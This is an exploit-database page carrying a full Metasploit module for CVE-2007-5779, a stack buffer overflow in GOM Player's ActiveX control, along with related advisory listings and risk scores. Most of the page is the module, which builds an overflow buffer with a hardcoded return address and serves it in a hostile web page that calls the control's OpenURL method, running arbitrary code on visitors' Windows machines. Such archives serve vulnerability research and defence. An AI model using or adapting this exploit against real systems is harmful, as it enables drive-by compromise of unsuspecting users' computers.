GOM Player ActiveX Control Buffer Overflow

🗓️ 30 Oct 2007 21:48:56Reported by MC <[email protected]>Type

GOM Player ActiveX Control Buffer Overflow exploit for GOM Player 2.1.6.349

Reporter	Title	Published	Views	Family All 11
Circl	CVE-2007-5779	9 May 201000:00	–	circl
Check Point Advisories	GOM Player ActiveX Control Buffer Overflow (CVE-2007-5779)	27 Sep 201100:00	–	checkpoint_advisories
CVE	CVE-2007-5779	1 Nov 200716:04	–	cve
Cvelist	CVE-2007-5779	1 Nov 200716:04	–	cvelist
Exploit DB	GOM Player - ActiveX Control Buffer Overflow (Metasploit)	9 May 201000:00	–	exploitdb
canvas	Immunity Canvas: GOMPLAYER	1 Nov 200716:46	–	canvas
NVD	CVE-2007-5779	1 Nov 200716:46	–	nvd
Packet Storm	GOM Player ActiveX Control Buffer Overflow	26 Nov 200900:00	–	packetstorm
Prion	Buffer overflow	1 Nov 200716:46	–	prion
Prion	Design/Logic Flaw	18 Mar 201200:55	–	prion

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GOM Player ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in GOM Player 2.1.6.3499.
        By sending an overly long string to the "OpenUrl()" method located
        in the GomWeb3.dll Control, an attacker may be able to execute
        arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-5779'],
          [ 'OSVDB', '38282'],
          [ 'URL', 'http://web.archive.org/web/20071030001455/http://secunia.com:80/advisories/27418/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP2 Pro English',     { 'Ret' => 0x7e497c7b } ], # 10/29/07
        ],
      'DisclosureDate' => '2007-10-27',
      'DefaultTarget'  => 0))
  end

  def autofilter
      false
  end

  def check_dependencies
      use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit =  rand_text_english(506) +  [target.ret].pack('V')
    sploit << p.encoded + rand_text_english(1024 - p.encoded.length)

    # Build out the message
    content = %Q|
      <html>
      <object classid='clsid:DC07C721-79E0-4BD4-A89F-C90871946A31' id='#{vname}'></object>
      <script language='javascript'>
      var #{vname} = document.getElementById('#{vname}');
      var #{strname} = new String('#{sploit}');
      #{vname}.OpenURL(#{strname});
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end

23 Mar 2023 10:43Current

7.9High risk

Vulners AI Score7.9

CVSS 27.5

EPSS0.71512